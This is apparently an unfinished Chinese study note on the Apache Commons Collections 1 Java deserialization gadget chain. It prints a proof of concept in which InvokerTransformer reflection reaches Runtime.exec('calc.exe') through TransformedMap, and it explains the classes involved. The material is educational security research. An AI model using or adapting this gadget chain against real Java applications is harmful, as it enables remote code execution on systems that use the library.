Java安全之Commons Collections1分析前置知識
0x00 前言
Commons Collections的利用鏈也被稱為cc鏈,在學習反序列化漏洞必不可少的一個部分。Apache Commons Collections是Java中應用廣泛的一個庫,包括Weblogic、JBoss、WebSphere、Jenkins等知名大型Java應用都使用了這個庫。
0x01 前置知識
這里先來看一段網上找的,poc代碼
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class test {
public static void main(String[] args) throws Exception {
//此處構建了一個transformers的數組,在其中構建了任意函數執行的核心代碼
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
//將transformers數組存入ChaniedTransformer這個繼承類
Transformer transformerChain = new ChainedTransformer(transformers);
//創建Map並綁定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//給予map數據轉化鏈
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//觸發漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
//outerMap后一串東西,其實就是獲取這個map的第一個鍵值對(value,value);然后轉化成Map.Entry形式,這是map的鍵值對數據格式
onlyElement.setValue("foobar");
}
}
先不管具體的實現,先來查看一下運行結果。
在調試這條鏈的時候會設置到一些沒接觸過的類,在調試前需要了解到這些類的一個作用,方便后面的理解。
Transformer
Transformer是Commons Collections中提供的一個接口
ConstantTransformer
ConstantTransformer是Transformer的實現類
在構造方法里面對iconstant進行傳值,而其他的幾個方法都是獲取iconstant的值。
InvokerTransformer
InvokerTransformer也是Transformer的實現類,
在構造方法中有三個參數,第⼀個參數是待執⾏的⽅法名,第⼆個參數
是這個函數的參數列表的參數類型,第三個參數是傳給這個函數的參數列表 。
里面還提供了一個Transform的方法,該方法可以通過Java反射機制來進行執行任意代碼。
ChainedTransformer
ChainedTransformer也是實現了Transformer接⼝的⼀個類,
看到transform方法是通過傳入Trasnformer[]數組來對傳入的數值進行遍歷並且調用數組對象的transform方法。
Map
Transform來執行命令需要綁定到Map上,抽象類AbstractMapDecorator是Apache Commons Collections提供的一個類,實現類有很多,比如LazyMap、TransformedMap等,這些類都有一個decorate()方法,用於將上述的Transformer實現類綁定到Map上,當對Map進行一些操作時,會自動觸發Transformer實現類的tranform()方法,不同的Map類型有不同的觸發規則。
TransformedMap
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Transformer實現類分別綁定到map的key和value上,當map的key或value被修改時,會調用對應Transformer實現類的transform()方法。
我們可以把chainedtransformer綁定到一個TransformedMap上,當此map的key或value發生改變時,就會自動觸發chainedtransformer。
參考文章
https://www.cnblogs.com/litlife/p/12571787.html#transformer
https://xz.aliyun.com/t/7031#toc-8
0x02 未完續
CC鏈的調試比URLDNS要麻煩不少,調試的時候需要大量的知識填充。繼續mark中。